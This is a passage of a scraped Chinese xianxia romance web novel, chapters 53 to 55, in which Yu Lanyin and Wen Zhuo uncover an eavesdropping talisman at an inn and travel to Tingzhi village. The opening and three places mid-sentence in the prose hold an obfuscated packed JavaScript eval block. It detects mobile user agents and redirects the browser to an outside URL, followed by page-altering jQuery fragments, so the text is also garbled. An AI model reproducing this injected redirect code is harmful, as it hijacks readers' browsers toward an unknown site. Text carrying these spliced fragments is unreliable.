;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“嗯,”玉阑音不甚在意地低着头,只去看他那血丝糊拉的掌心,“我没听。” 这人态度十分敷衍,叫温卓一时不知是心疼更多,还是无力更多。 这人似乎压根没有将那些刺耳剥骨之言记在心上。 温卓盯着这人低垂的眉眼,不受控地联想起那年庙会。 那年庙会上,也是这人。 这人在札布萨人的欢呼簇拥之下近乎惊愕地回头,轻声同他说:“没想到竟然真的如你所说,是好话。” 可是好话有什么可纳罕的? 温卓不好交友,平生最重视之人便是玉阑音,过去交往之人大多都与玉阑音有关。 一路所遇之人待玉阑音皆是极为友善、敬重有加。 一叶障目。 若非今日听靳修之之言,温卓或许永远都不会知道,原来这云州,居然真的有人在恨着玉阑音。 而且这恨意才是这世界上的绝大多数。 徒有其位,尸位素餐。 这云州,没有一个人配对着玉阑音说出这句话。 温卓曾在心中无数次下定决心,这一辈子一定要说很多很多的好话,只为玉阑音祈福。 可是那些坏话呢? 他究竟一个人听了多少年? 温卓思念至此,只觉得磅礴的恨意如同狂风巨浪翻涌而出,而他这次甚至分辨不清到底是不是那厌族神识在作祟。 面前这些负恩昧良之人,他巴不得将这些人一个一个抽筋剥骨,吃他们的肉,喝他们的血,要他们横尸遍野,下无间地狱永生永世不得超生。 温卓轻轻磨了磨牙。 他是头一回赤裸裸直视接纳自己残忍乖戾的本性,却也是头一回心中如此快活。 叫他神魂都为之颤栗。 忽然,玉阑音点了点温卓的掌心,用只有他们二人才能听到的声音补全了方才未竟之语,带他回了人间:“温卓,别去听。” 53.明暗 玉阑音本人其实是从不怕听到这些。 他尊为云州上仙剥心化笼的那一日,便同这云州呼吸共频。云州之人他无人不识,云州之事他无事不晓。 这些骂声他听得太多,其实早就习惯了。 但是温卓不行。 温卓这个厌族小崽子,心思那么重,再加之那厌族神识和本性作祟,一刻不得安宁消停,苦而疲力,玉阑音比谁都明白。 那日与温卓重遇,见到这小孩子玉树临风挺拔之姿,玉阑音都说不上是欣慰更多,还是心疼更多。 若是允许,他断然不会逼迫温卓苦苦压抑至此。哪怕他是真的成了厌族,疯了痴了傻了,于玉阑音来说都是无所谓。 毕竟还有他在呢,天地之大,他总能找到地方能将这小鬼藏起来,疯疯癫癫养一辈子,怎么都好。 正好也省得这小崽子没大没小,说些喜欢他、爱他这种胡话,总惹得他心烦。 可是他就要死了。 玉阑音不愿再想下去,看看温卓眼中血色的红光。 他微不可察垂下眼睫,掩下了眸中万千情绪。 桌下的手腕一翻,他在靳修之看不到的地方掐了个小法诀,先替温卓止了血。 “好了。”玉阑音面色如常,似是无事发生似的,笑着拍了拍温卓的手。 温卓其实在他开口的瞬间便回了神,眼中一片猩红也如潮水般攸然褪去。 他看着玉阑音反倒过来哄他的笑眼,心中酸软到眼眶一热。 温卓迅速别开了眼睛。 两人这番你来我往的欲言又止,其实在君少暄和靳修之两人眼中其实也不过是片刻。 君少暄被那些话气得直接是眼冒金星。 他们云州上仙这么好一个人,什么时候轮得到一群粗布衣服的臭老汉背地里臭嘴了! 气血上涌,君少暄又是一阵头晕目眩,直接晕得脑袋半磕到了桌上。 “诶哟……”他又气又羞,眼前一阵花花白白,好一会儿才缓过神来。 终于,煎熬许久的靳修之弱弱地开口问道:“是我方才的哪句话有不妥了?” 温卓摇了摇头。 伏在桌上的君少暄也有气无力地摆摆手,“不关你事,你继续说。” 得了这话,靳修之简直是如蒙大赦地舒了口气,整个人放松了好些。 随后他才温温吞吞开口问道:“我这也没什么好说的了。不过您三位呢?又是为何而来这琼州的?” 温卓和君少暄仍旧是有些阴沉,不太理人。 玉阑音笑道:“我们也是为汀芷村一事而来,不知小兄弟对此事了解又有多少?” 玉阑音这人长得极为漂亮,在黄色的小灯之下相貌显得是更加柔和。 如此专注地同靳修之说话时更加明糜昳丽,直接把靳修之看成了个哑巴。 靳修之被勾得简直是要忘了今夕何夕。 他迷瞪瞪、直勾勾看着玉阑音,好半晌目不转睛,话都忘了说。 直到他察觉到一束颇为敌意的目光扎到了他身上。 靳修之被盯得心里发毛,往那方向一转头,却正好看到对面的温卓别开眼睛。 温卓正十分专心地收拾着桌上的一片狼藉,仿佛方才投来不善目光的人不是他。 靳修之:“……” 不是说我没惹到你吗?怎么好端端地又偷偷瞪我了? 靳修之不明所以,最后索性不再去想。 随后他转回头,怯怯地同玉阑音说:“汀芷村这事我了解得也不多,只是方才听客栈掌柜说了一些,也不知是真是假。” 温卓闻言忽地眉头一蹙,“掌柜?” 靳修之以为他这是不认得掌柜,于是十分好心地往柜台那一指:“西樵客栈的掌柜,海棠。” 如今天色暗淡,这客栈又节省,灯也没点上几盏,客堂只有四角处有四个豆大点的光亮。 玉阑音在这昏黄的光下那是十米开外人畜不分,他眯了眯眼往柜台处看去,看不清晰。 温卓的神色与平时相差无几,但是玉阑音敏锐地发现,他的视线却是在那掌柜海棠身上多停留了片刻。 玉阑音以目示意:有古怪? 温卓收回目光,极轻地点点头。 “那这位海棠掌柜,对此事都是如何说的?”玉阑音神态自若地继续问道。 靳修之回了神,“哦,掌柜说,这段时间已经有好些修士前来了。短则在此处小住两三天,长则半月两旬有余,但是大多是无功而返铩羽而归。” 玉阑音点头,对此并不意外。 毕竟有个“铩羽而归”的修士本人这不就在对面坐着呢么? 被这暗箭刺痛心扉的君少暄脸色不是很好,红着脸梗着脖子催促道:“别在此处停下啊,随后呢?快快继续说。” 靳修之又“哦哦”两声,连忙继续道:“掌柜听先前来客栈的那些修士们说,这回这死人的事儿绝不是那海神作祟,更像是那结界以外须弥之地厌族所为。” 靳修之说至此,猛地降低了声音,偷摸摸地同三人耳语:“所以说这世道乱了啊,这厌族千百年前就同云州割席销声匿迹了,哪能无缘无故又现了身?” 尾音刚落,桌上其他三人神色忽然变得有些欲言又止。 靳修之好心低声询问道:“三位这是怎么了?” 三人皆为修士,对厌族的了解堪比了解自己的左右手。 而其中属厌族本族的温卓脸色最臭,垮得能拖两头驴。 君少暄不好打击靳修之的积极模样,摸摸鼻子,“无事,你继续。” 靳修之见状点了点头,便又开口道:“还说到那乌家啊,乌家最近可真是遭了祸了,在汀芷村简直是成了过街老鼠,人人喊打。听说要处刑乌家的火刑就定在了明日午时呢。” “什么?明天?”君少暄当即就拍了桌子,惊呼道。 靳修之被拍得一愣:“对啊,就是在明天,大家都知道。” 温卓也是微不可察蹙了眉。 这乌家传得神乎其神,这厌族害人之事自然是要从这里查起,怎么能在这个节骨眼上由着村民处死了他们? 一旁遗世独立仙人模样的玉阑音轻轻一哂,朝君少暄摆了摆手示意他坐下,“莫慌,我们明日一早便动身,来得及。” 随后,玉阑音眸光一转,“靳兄明日是何打算?若是要入汀芷村不如同行,也好有个照应。” “对的,我明日进村,”靳修之感激涕零,“那便恭敬不如从命,先谢过玉兄了。” 玉阑音微笑着颔首。 后续四人又天南海北的侃了些闲话。 到了月上梢头之际,三人忽然想起自己那普通人的身份,便同靳修之作了别,借口去歇息了。 三人一人一屋,皆是在二楼的天字号客房。 君少暄干呕了一晚上,如今整个人都是无精打采,匆匆告别了玉阑音和温卓别回到了自己的房间。 走廊往里第二间是玉阑音的客房。 玉阑音推门后稍稍使了个眼色,温卓立刻会意,前后脚紧随着进了屋。 随后轻轻掩上了门。 天字号客房已经是这客栈最好级别的客房,但是依旧是和这客栈整体风格一样,透着一种朴实无华的古朴简陋。 屏风画扇的是别想了,不过好在有一张茶桌和一张太师椅。 玉阑音还算满意。 温卓四下看看正欲开口之时,玉阑音忽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14285035|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸色稍变。 他轻轻抬手,作了个“止声”的手势。 随后玉阑音极为克制地放出一缕灵气,手指翻了两下,那灵气便像是活了似的,一个蹦跳逃开了玉阑音的掌心,顺着这房间上下开始游走巡视起来。 走着走着,那红黑色灵气的光忽然像是察觉到了什么,“咻”得提了速,飞出一道残影,随后急急听在窗棂下,幽幽在那地方打着转。 温卓一见有异样,二话没说先伸手将玉阑音抓到了自己的身后。 他放低了声音,侧过头附耳道:“别动,我去。” 玉阑音一向对温卓不设防,这回猛地被他的大力拉了一个踉跄。 莫名其妙到了温卓身后,他眨眨眼回了神,不由地失笑。 今辈子零零总总一千多年,他把别人拉到身后的次数可谓是数不胜数,这被别人保护到身后的事情倒真是新娘子上轿,头一回。 感觉还挺……稀奇。 温卓无暇理会玉阑音,放慢了脚步自己上前去查看。 他伸手,很轻地在窗台下方摸索了片刻,随后很快从下方摸出一张暗黄色符纸。 符纸之上有金色符文流转。 温卓捏着符纸的手很小心,正正反反来回看了好几遍。 他转过头,朝玉阑音用口型道:“留声符。” 身后的玉阑音方才被温卓一拦,便真的没再上前去。 这空当里,他顺手不知从哪摸出一张软毯,点上了汽灯,此刻已经好整以暇侧歪着窝到了太师椅里,神色自若,完全没有被窃听了该有的自觉。 听到温卓的话,玉阑音托着腮,懒洋洋道:“嗯,毁了吧。” 温卓的眼睛从未有一刻离开过玉阑音。 他看着玉阑音懒散勾人的模样,心上忽然像是被针刺了两下,密密麻麻地发痒。 不过介于两人关系刚缓和,温卓那细密的心动只在心上转了一圈,倒是没上赶着脱口而出去惹玉阑音不痛快。 他喉头一动,草草收回目光。 随后手下一拈,直接粗暴地将手里的符纸化成了一团火光烧了个精光,连点碎渣都没剩下。 玉阑音在汽灯的灯光下,眯着眼睛去看远处阴影里的温卓。 笑道:“过来些,我看不到你。” 温卓刚烧毁了留声符的手在半空中一顿。 他目力极好,只一瞧便能看清昏黄光晕中玉阑音极尽温和的笑眼。 心头方才隐下去的一点火苗隐约有了燎原的势头。 有点像翻天地覆失控的前兆,但是又比那愉悦餍足得多。 烧得他心痒难耐。 烧得他觉得…… 温卓此时只有衣袍的下摆在光下,上半身、整张脸都隐在黑暗处。 明暗光影,泾渭分明。 玉阑音看不到温卓,只听到他似乎是轻笑了一声,“嗯?” 这声音拖腔拖调,带着一丝愉悦的轻快,同他平日说话大不相同。 随后玉阑音便看着温卓抬了脚步,逐渐向自己走来。 玄色衣摆处的光亮随着他的脚步逐渐向上攀爬,吞噬着沉闷的阴翳,直到温卓整个人都暴露在了光亮之下。 他站定,离玉阑音不远不近,仅一臂距离。 温卓不喜欢这种居高临下同人说话的姿态,于是轻轻弯下腰,两人之间的距离骤然再次拉进。 性格使然,即便是年幼之时,温卓抬抬嘴角笑的次数都是屈指可数。 可此刻,温卓脸上挂着近乎明媚的笑意,眉眼再不复先前的棱角分明,甚至连声音都带上了笑声。 他弯着眼睛,望进玉阑音古井无波的黑眸深处,低声问道:“那这样呢?可是能看得清楚了?” 54.玄袍 昏黄的煤气灯映得温卓眼中像是有一团火在烧。 玉阑音盯了一会儿,罕见地有些走神。 这孩子……从前就长得这么好? 即便是在光下,温卓的脸上依旧有鼻梁和眉弓投下的几片阴影。 看上去要比真正的中原人更深邃、更凌厉些。 玉阑音看了一会儿,忽然伸出手,轻轻碰了碰温卓的眼尾。 温卓背在身后的手一顿。 他猛地捉下玉阑音的手,直起了身。 手下一空的玉阑音这才意识到了自己的失态。 他眯眯眼睛,慢吞吞地将自己的手收回袍袖中,“抱歉。” 温卓神情难辨地看他一眼,转过身去开始替玉阑音收拾起了客房。 他背对着玉阑音,缓声道:“无事。” 好在玉阑音没被这事情打搅地忘了正事,他瞧了一会儿手脚麻利地温卓,问道:“对了,方才你说那掌柜有古怪?” 温卓住了住手,“嗯。她身上没有灵气波动,灵基看上去也与普通人无异,但是用的那算盘却是一副‘千机算’。” 玉阑音秀眉一敛,“千机算?” 千机算,占卜法器。 它表面看上去同人间的算盘无甚区别,却可算天机、占吉凶、卜术卦,简直是修仙界的万金油。 这千机算不难得,但施展多少本事,却是全看施用者的能耐的大小。 拿它算出天下运势的也有,拿它算一加一的也大有人在。 “嗯,”温卓点头应道,“千机算用时手的起势、转合、收势都与普通算盘大不相同,从那掌柜手上的动作来看,她确实是在推演千机算无疑。只是……” 温卓罕见地迟疑一瞬,停了口。 玉阑音挑眉看他,“如何?” 温卓道:“没有灵力波动。” “嗯?”玉阑音皱了皱眉,“你方才说她本人不是修士,会不会是千机算之上本身有他人的灵气残余?可看清楚了?” 温卓摇摇头,“没有,无论是她还是千机算本身,都无一丝灵气窜动的迹象。” 闻言玉阑音轻轻往椅背一靠,手不自觉地摸了摸下巴,面上稍显沉思之态。 “我有些眼熟她,但是又确实从未见过此人,”温卓忽然又道,“我现在想来,大约是她的神态或是动作十分像我认识的某个人,于是才有了眼熟之感。” 温卓对于他的记忆十分自信。 他记不清这相似究竟是来源何处,那只能说明这人他并不相熟,甚至有可能是萍水相逢或是擦肩而过。 “哦?”闻言,玉阑音眸光流转同温卓笑道,“那岂不是和那靳修之一样?” 此言一出,一瞬间的静默之后,温卓的眉眼忽然一松动。 他几乎是带上了笑意,“嗯。你也看出来了?” “同你一样,一开始只是觉着眼熟。”玉阑音一哂,“到后面他说话更多了些,就记起来了。是叫景……什么来着的?” 温卓道:“镜。镜遥。” “哦,对,镜遥。”玉阑音一哂,“前段时间上巳节,你同我说过他下山游历除祟了,居然在这里遇到了。” 虽然温卓的话很少,但是对玉阑音的话他向来是处处有回应。 他点点头,“嗯。” “今日客堂的光太暗,我没看清那海棠掌柜。”玉阑音道,“你若是眼熟她,我说不准也能认得她。赶明日得了空我再仔细瞧瞧。” 他说着话,手在桌上好一阵摸索,忽然语音一转,“我那套茶具呢?怎么没拿出来?” 温卓手快脚快。若是放在平时,他一进屋的工夫就前前后后替玉阑音置办齐全了,哪用得到玉阑音张口去要? 不过今日他却是一反常态地摇了摇头,“不行。” 玉阑音一愣,“什么?” 温卓不理他,“夜晚了,你再喝了茶要睡不好觉。不能喝了。” 玉阑音被这小崽子倒反天罡的语气震得一乐,随后兀自低头笑了一会儿。 真是反了天了。 不过好在他也不是有什么茶瘾。 不喝就不喝罢,也没什么大不了。 “没大没小的东西。”玉阑音一边笑一边摆摆手,“罢了罢了,也就是我,除了我谁还能这么惯着你。” 尾音刚落,一旁听着的温卓忽然又露出了那种复杂难辨的神色。 玉阑音没留意到他莫名的神情,自顾自地起了身,换到了榻上又躺下。 他慢悠悠自己盖好了缎衾,“明天要起早,你也早回去歇息下吧。” 温卓至若未闻,上前替玉阑音重新压了压被角,又把他不安分的腿脚盖得更严实了些。 他手一动,不知又从哪变出来两三个汤婆子,挨着玉阑音冰凉的腿整整齐齐摆好。 玉阑音对于温卓这一连套的动作早已习惯。 他的脚凉得活像冰窖里的陈年老冰,伸腿去碰那汤婆子,暖得叫他不由地舒一口气。 温卓在床侧垂首站着,垂头看着玉阑音的目光沉沉。 他道:“玉阑音,你知道我喜欢你吗?” 玉阑音此时正靠着汤婆子取着暖,忽然听到这话,不由地一愣。 不过不愧是活了一千年的老头子了,他只一个停顿,随后便恢复如常。 他十分从容地往被子里缩了缩,语气温和,玩笑似的问责:“好端端的,怎么忽然来扰人兴致?” 温卓不置可否,没说话,只又弯下腰替玉阑音掖掖散了的被角。 “阑音,若是对我无意,便不要总说些叫我误会的话,我怕我会当了真。”温卓没去看玉阑音的眼睛,忽然道,“因为我真的很喜欢你。” 温卓这次没有给玉阑音回话的机会。 他只轻轻碰了碰玉阑音的眼睛,起身,轻声道,“晚安。明天见。” 明天见。 玉阑音的确是没说话。 他沉默着看向温卓,目送着他转身离开。 第二天寅时刚到,天还没亮,君少暄已经被他设好的叫早雀唤醒了。 他昨夜没有入定调息,而是像普通人一样睡了觉,此时久违早醒的感觉实在不太美妙。 他闭着眼猛地一抬手,把那吵人的叫早雀砸了个稀碎。 随后不情不愿地爬出被窝,摸索着穿好衣服,慢吞吞哈欠连天地下楼梯,“砰砰砰”作响。 这楼梯刚下到最后一节,他睡眼惺忪往昨晚他们坐的长桌前一看—— 不看不要紧,这一打眼直接给吓得背后“噌”地起了一层冷汗。 角落的长桌前坐着一个端端正正的黑袍人。 他一袭鸦黑色长袍未有一丝杂线,带着黑色的斗笠,斗笠之上蒙着厚重的黑纱。 天色仍然昏暗,客堂里还掌着小灯。 这黑袍人几乎要与凌晨的黑天融为一体,仅在那角落的孤灯之下隐约透出人形。 君少暄猛地一看,简直是以为自己还在什么噩梦里。 他两个眼睛猛地瞪成了铜铃,吓了个清醒。 掐自己一把。好疼。 太好了,不是梦,原来只是闹鬼了。 君少暄掐了掐自己的人中。 此刻他的脚步也不敢哐当作响了,猫下腰,闭好嘴,轻手轻脚地一步步往楼梯上倒退。 他一边往上退一边在心中呼啸。 长老!小师叔!救命!啊啊啊!救命啊! 忽然,他紧盯着的那黑袍人的的面纱一个晃动,似乎是朝他的方向转过了头。 君少暄被看得腿上一紧,随后脚下极为不优雅地一滑。 “砰呲”一个大动静,他腿一蹬,屁股一翘,直接重重跌坐到了台阶上。 给他那尾椎震了个稀巴麻。 君少暄脸上红红白白。 他用尽了这辈子的忍耐力没有哀嚎出声,只在沉重的呼吸声里,喘出一些忍疼的哼哼唧唧。 好……好疼。 他忍得满眼泪花。 天色太早,客堂里再没有别人。 君少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14304737|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暄疼得倒吸着凉气,忽然听到那黑衣服的鬼开口开了口,“少暄?” 君少暄原本都以为自己要血溅当场,此时骤然听到这有些耳熟的声音,叫他不由地怀疑是出现了什么幻觉。 “嗯?” 君少暄愣在台阶上,头脑一片空白,吃力地兀自琢磨了一会儿,随后试探道:“……长老?” 闻声,那黑袍人袖摆一动,露出一双极苍白又消瘦的手,轻轻拨开了面纱,“嗯,是我。” 君少暄一时都分不清自己是喜极而泣,还是因为太疼了涕泗横流。 他巍巍颤颤地站起身,一扭一扭地走近,“长老,长老啊……” 玉阑音看着他歪七八扭地走近,一阵发笑,再低头看看自己的一袭黑衣,“这是哭的哪门子丧呢?大清早的,好生晦气。” 君少暄吓得连忙止了哭,“没有没有,长老你别胡说。” 玉阑音不甚在意摆地摆手,“无事,坐吧。” 于是君少暄哼哼唧唧地把稀碎的屁股放到了椅子上。 这屁股一着椅子,又是疼得君少暄一个激灵。 他咬咬牙挪了挪屁股,一边故作镇定地聊天,“长老你醒得可真是……嘶,好早。” 玉阑音把黑纱往斗笠上一挂,“嗯,昨夜未眠,索性早下来等你们。换了一身行头是不是吓到你了?” 君少暄嘴硬得像榔头,“没有,没有,没吓到。” 此言一出,玉阑音便用一种像在看小猫小狗嬉闹的眼神,看了一眼君少暄。 君少暄被他看得先是一愣,随后才后知后觉地意识到了什么:啊,我不是药术师吗? 他脸上猛地涌上一股血气。 在玉阑音戏谑的目光下,君少暄红着脸给自己使了个小法术。顿时,屁股不疼了,牙不酸了。 君少暄眼睛一阵乱飘,挠挠头,一边哼哼唧唧还欲解释:“我这忘了……” 善解人意的玉阑音假装没看到君少暄尴尬的红脸,笑着点点头,“嗯。” 君少暄挪错挪错屁股,“不过长老,你今日怎么想到换了这黑颜色的衣服?” 玉阑音笑着问:“心血来潮换的。是不是不好看?” “不是,不是,好看的,长老你披块补丁布都是气质出尘,如诗似画。”君少暄一拍桌子,当即夸得头头是道,“只是这乍然一换了黑色,像是变了个人似的,我还没太习惯。” 诚如君少暄所言,玉阑音骤然换下了那浅色衣服,整个人的气场也随之变换了。 若说之前的玉阑音是仙人之姿,现在大概就是叛逃仙界了的仙人之姿,莫名显出些矛盾的乖张。 “是吗?”玉阑音沉吟片刻,“那看来我果真是不太适合这颜色。” 君少暄连忙道:“哪里哪里,适合的。” 玉阑音听着他这闭着眼睛的胡乱恭维,笑出了声。 “我其实一直是蛮喜欢这深色、玄色的衣服,只是穿上身总是有些怪。”玉阑音闲聊似的道,“但是温卓穿着很漂亮,所以我给他置办的衣服大多都是这种颜色。” 君少暄心道:长老这师尊当得……还管着给徒弟置办衣服?与徵长老!师尊!你在吗?你看看人家! “小师叔穿玄袍确实好看……”他言不由衷夸赞道,心下一阵微妙的嫉妒,“……哼。” 说话间,温卓和靳修之……镜遥,前后脚地也下楼梯,来到了客堂。 两人见到玉阑音这装束也是齐齐一愣。 镜遥丝毫不知自己披着的假皮已经被拆了个干干净净,依旧从容不迫假扮着萍水相逢:“玉兄这是……” 玉阑音好笑地看他一眼,“嗯,今日汀芷村火祭日,换来应景的。” 玉阑音是他们十方宗无上长老,镜遥自然是不疑有他,点点头。 温卓在一旁一直没作声。 他用如有实质的目光细细看过玉阑音一遍。 这人过去总信誓旦旦同他说“我从不骗人”。 可真是…… 谎话连篇啊。 55.怀馨 温卓直勾勾看着玉阑音,目不转睛。 玉阑音自然是察觉得到。 他没有转头去看,心下认命似的微微叹一口气。 随后他默不作声地手一动,十分自然地把搭在斗笠上的黑纱又拽了下来。 轻飘飘的黑纱把脸挡了个严严实实。 温卓看着那坐钟似的一坨黑色,简直是要被气笑了。 他过去怎么没能发现这人这么会自欺欺人? 另外两人对温卓和玉阑音无声的对峙无察无觉,两个人正凑着头嘀嘀咕咕着什么。 仔细一听。 镜遥:“……这客栈床睡得我腰好疼。” 君少暄:“是呀是呀,本少爷过去睡的可都是紫檀木的床,上面铺四层羊羔狐貂的毯子,在这儿睡得夜里醒了好几回。” 镜遥:“我屋那床我也不知道是什么料子,金丝楠木?我们那儿的屋子里用得大多都是金丝楠木。” …… 温卓和玉阑音听得一阵沉默。 ……两人这说的,这不都是十方宗的屋舍么。 也不怕露馅儿。 天蒙蒙亮,附近的村庄传来几声遥远的鸡鸣。 琼州此处有厌族,又大概率是个高阶厌族,一行人怕打草惊蛇,简单收拾过后便步行上了路。 镜遥和君少暄两个年轻人使不完的牛劲,步履如飞打头阵,温卓和玉阑音则不远不近跟在他们身后。 玉阑音这人活得久了,难免有点老年人的通病——喜欢孩子。 他看着前面叽叽喳喳很有活力的两只小麻雀,黑纱下的面容不自觉地极为柔和。 温卓同玉阑音并肩走着,冷不丁地忽然开口,“东西你收在哪里了?” 方才还在迈着四方步、在斗笠下笑眯眯的玉阑音闻言,一愣,“嗯?什么?” 温卓面色如常,只淡淡看他一眼,“你昨夜不是去了乌家?” 玉阑音这人平日便爱面不改色胡说八道,如今有了面纱的遮掩,那自然更是变本加厉。 他故作惊讶问道:“嗯?什么乌家?我怎么没听明白?” 这装傻充愣的话说完,温卓反常地没什么反应,甚至连个“嗯”都没赏给玉阑音。 玉阑音等了一会儿没等到回话,不由地黑色的斗笠一转,“怎么不说话了?” “嗯,”温卓道,“我还等着你继续编些话唬我呢。已经说完了?” 那黑纱极为尴尬地一顿,随后若无其事又转了回去。 在厚重黑纱遮掩下,玉阑音侧目看了温卓一眼。 虽然不是很明显,但是…… “生气了?”那黑斗笠突然问道。 温卓连看都没看这斗笠一眼,不搭话。 嚯,还真是生气了。 玉阑音不常见温卓发火挂脸,这下也顾不上感叹稀奇了,连忙把不着四六的模样一收,难得地显得有些手足无措。 “好了,别生气了,不是故意瞒着你的。”玉阑音语气放得很轻,“昨夜我许久未能入睡,动身的时候已是子时。” 想了想,又补充道:“原本是想要叫你一起,但是也怕扰了你休息,于是作了罢。就别生气了,嗯?” 玉阑音大概是有意要哄人,话音越说越轻,越说越缓,到了最后已经是附过身来,近乎成了吹风似的耳语。 勾得温卓耳畔一阵发软。 要说玉阑音这人这么多年来孤身一人,也是我行我素惯了,一时半会儿必然是改不了。 温卓原本也没期待这人能给他什么像模像样的解释,也想过要这次定要立立下马威,同他冷脸半天,说什么也不再同他说话。 可如今玉阑音只是半真半假虚虚实实地一开口,都不必多做些什么,温卓原本就不坚定的刻意冷落已经是如万丈高山崩塌,登即夷为平地、无处可寻了。 他看着那黑色斗笠好一会儿。 温卓的目光侵略性极强,仿佛是穿透了那黑纱,每次轻转都能在玉阑音脸上留下近乎灼热的痕迹,叫他很难不略有不适。 玉阑音不是个擅长处理这种情况的人,但心下有理智告诉他,若是躲开了定然是更捅了老虎屁股。 于是两人你不言我不语,熬鹰似的无声对峙片刻。 终于是温卓先败下阵来。他极轻地叹了一口气,“嗯,下次不许了。” 忽然想到玉阑音常用的阳奉阴违,末了他又补充道:“或者叫我一起。” 但玉阑音对温卓这突如其来教训的话语倒是一声不吭,似乎接受程度良好。 他甚至斗笠下一笑,“好,下次不会了。” 温卓见他应了话,也没再对着这小事死缠烂打,继续道:“昨夜我只是入定,听到了你的出门声,不放心便跟上去了。那乌家你拿到的是什么东西,我能看看么?” 玉阑听得一愣。 ……跟了上去? “你昨夜是一直跟着我?”玉阑音斗笠忽地一转,问道。 “嗯,一直跟着,”大概是听玉阑音的口气并不是要为这事生气,温卓丝毫不避讳地点头,“我听到你昨夜的出门声便跟了出来,唤了几声你的名字,但你没听到。” 此话莫名显得有些幽怨,叫玉阑音不由地低声一笑,顺嘴揶揄道:“那可真是受了好大委屈。” 不过玉阑音的笑意只这一瞬,很快就敛了个干净,甚至是忽然有些严肃。 昨夜,他出了门,转身,往门上落了三个金字锁、两道隔音符,转弯,下楼。 玉阑音两道弯眉微蹙。 他可从未听到身后有其他声响,更别提有人唤他名字。 “这很奇怪,昨天夜里极为安静,我很确定我没有听到你的声音。”玉阑音声音极轻地自语着又是回忆了一番,随后自嘲似的一哂,“我身体确实是大不如前了,但大概还没有到五感退化这个程度。” 这话听得晦气,温卓先是拧了他一眼,随后也是不由地正色起来。 玉阑音这时才觉着面前的黑纱碍事,他极为迅速地把黑纱一撩,露出了他那张昳丽却脆弱的脸。 他不知从哪一摸,变魔术似的变出了个瓷白的小物件,递到了温卓面前,“就是这小东西。我一进乌家便察觉到了它的存在,在院落里一探,正巧发现它被隐在了院落古树的树心里。” 温卓接过那东西定睛一看,眉头猛地一紧,“占风玉盘?” “嗯,又是一角碎片。”玉阑音道,“当时我怕天要亮了,于是索性直接将它带了回来。” 温卓欲言又止地看了玉阑音一眼。 玉阑音顿时会意,摇了摇头,“不是达奚恩山。他不在这里,我感受得到。” 不知是哪句话又叫温卓不痛快了。 总之,玉阑音话音刚落,一旁温卓的气压骤然低了下来。 温卓道:“等下次见到他,我就把你那片结界从他那处拿回来。” 玉阑音一挑眉,不知是想到了什么,一乐,回答地也算是痛快,“好啊。” 说话间,几人已经是从汀芷村的西面进了村。 玉阑音拿着玉盘碎片的手往温卓面前一递,道:“这玉盘你收着吧,我如今灵力亏空,拿着这东西也无用。” 他这动作太过自然,叫温卓不由地一顿,片刻才接过,“嗯。” 随着一行人继续往村内走,周围的屋舍终于是逐渐多了起来。 玉阑音把挂在斗笠上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14323622|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的黑纱一放,重新遮上了脸,“我今早在客堂坐了许久,只是可惜没能见到海棠掌柜。” “今早我们动身得太早,也正常,”温卓将碎片好生保管好,“而且这几日我们都住在那处,总会见到。” 玉阑音深以为然地点点头,“嗯,也是。” 或许是琼州本就是人烟稀少,他们一路走来居然没能碰到一个人,安静非常。 直到又往村内行了二里有余,终于是从前方听到了些窸窣的人声。 君少暄脚步一停,转过头征求意见似的去看玉阑音。 玉阑音头戴斗笠面蒙黑纱,凭面色自然是看不出一二,于是他便再一转头去看温卓。 温卓朝他一点头。 许是因为温卓这人整日和玉阑音形影不离,言行举止也颇为老成,连君少暄自己都没发现,他如今对温卓是越发言听计从,再不见初遇之时的骄矜。 他得了令,低声同镜遥说了什么,两人一齐加快了脚步往声音之处快步走去。 如今天色已大亮,玉阑音很容易便看到远处天空之上忽然冉冉飘起的黑色的烟雾。 很快,那稻草木材燃烧之时的呛鼻气味也随之传来。 玉阑音毕竟是药郎,如今又值身体差,对气味的变化更是敏感。 他在嗅到了这味道的一瞬间就皱了皱眉。 镜遥面色也随之一变,他皱眉问道:“前面那是火刑之处?这还未到午时,怎么就开始了?” 温卓从远处的丁点火光和浓烟处收回目光,“怕是提前了。” 或许是那烧炙之气太过刺鼻,玉阑音只忍耐了片刻便有了动作。 他不知从哪摸出一株不知名的药草,在宽大的袖袍的遮掩下,指尖灵气一动,不动声色地将它点燃。 自从离开了札布萨的药居来到中原后,玉阑音从前经年伴身的药草香随着时间的推移越来越淡。 